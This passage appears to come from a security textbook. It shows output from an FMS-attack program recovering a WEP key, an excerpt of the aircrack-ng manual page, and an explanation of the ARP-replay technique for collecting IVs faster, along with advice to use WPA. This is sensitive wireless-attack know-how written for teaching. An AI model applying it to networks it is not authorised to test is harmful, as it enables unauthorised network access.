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	19		0	|		51		0	|		83		4	|	115		1	|	147		0	|	179		1	|	211		4	|	243		2	|
	20		0	|		52		1	|		84		1	|	116		4	|	148		0	|	180		1	|	212		1	|	244		1	|
	21		0	|		53		1	|		85		1	|	117		0	|	149		2	|	181		1	|	213	12*|	245		1	|
	22		1	|		54		3	|		86		0	|	118		0	|	150		1	|	182		2	|	214		3	|	246		1	|
	23		0	|		55		3	|		87		0	|	119		1	|	151		0	|	183		0	|	215		0	|	247		0	|
	24		0	|		56		1	|		88		0	|	120		0	|	152		2	|	184		0	|	216		2	|	248		0	|
	25		1	|		57		0	|		89		0	|	121		2	|	153		0	|	185		2	|	217		1	|	249		0	|
	26		1	|		58		0	|		90		1	|	122		0	|	154		1	|	186		0	|	218		1	|	250		2	|
	27		2	|		59		1	|		91		1	|	123		0	|	155		1	|	187		1	|	219		0	|	251		2	|
	28		2	|		60		2	|		92		1	|	124		1	|	156		1	|	188		1	|	220		0	|	252		0	|
	29		1	|		61		1	|		93		3	|	125		2	|	157		2	|	189		2	|	221		0	|	253		1	|
	30		0	|		62		1	|		94		0	|	126		0	|	158		1	|	190		1	|	222		1	|	254		2	|
	31		0	|		63		0	|		95		1	|	127		0	|	159		0	|	191		0	|	223		2	|	255		0	|

[Actual	Key]	=	(1,	2,	3,	4,	5,	66,	75,	123,	99,	100,	123,	43,	213)
key[12]	is	probably	213

reader@hacking:~/booksrc	$

This	type	of	attack	has	been	so	successful	that	a	new	wireless	protocol	called	WPA
should	be	used	if	you	expect	any	form	of	security.	However,	there	are	still	an
amazing	number	of	wireless	networks	only	protected	by	WEP.	Nowadays,	there
are	fairly	robust	tools	to	perform	WEP	attacks.	One	notable	example	is	aircrack,
which	has	been	included	with	the	LiveCD;	however,	it	requires	wireless	hardware,
which	you	may	not	have.	There	is	plenty	of	documentation	on	how	to	use	this	tool,
which	is	in	constant	development.	The	first	manual	page	should	get	you	started.

AIRCRACK-NG(1)																																																			AIRCRACK-NG(1)

NAME
							aircrack-ng	is	a	802.11	WEP	/	WPA-PSK	key	cracker.

SYNOPSIS
							aircrack-ng	[options]	<.cap	/	.ivs	file(s)>

DESCRIPTION
							aircrack-ng	is	a	802.11	WEP	/	WPA-PSK	key	cracker.	It	implements	the	so-
							called	Fluhrer	-	Mantin	-	Shamir	(FMS)	attack,	along	with	some	new	attacks
							by	a	talented	hacker	named	KoreK.	When	enough	encrypted	packets	have	been
							gathered,	aircrack-ng	can	almost	instantly	recover	the	WEP	key.

OPTIONS
							Common	options:

							-a	<amode>
														Force	the	attack	mode,	1	or	wep	for	WEP	and	2	or	wpa	for	WPA-PSK.

							-e	<essid>
														Select	the	target	network	based	on	the	ESSID.	This	option	is	also
														required	for	WPA	cracking	if	the	SSID	is	cloacked.

Again,	consult	the	Internet	for	hardware	issues.	This	program	popularized	a
clever	technique	for	gathering	IVs.	Waiting	to	gather	enough	IVs	from	packets
would	take	hours,	or	even	days.	But	since	wireless	is	still	a	network,	there	will	be
ARP	traffic.	Since	WEP	encryption	doesn't	modify	the	size	of	the	packet,	it's	easy
to	pick	out	which	ones	are	ARP.	This	attack	captures	an	encrypted	packet	that	is
the	size	of	an	ARP	request,	and	then	replays	it	to	the	network	thousands	of	times.
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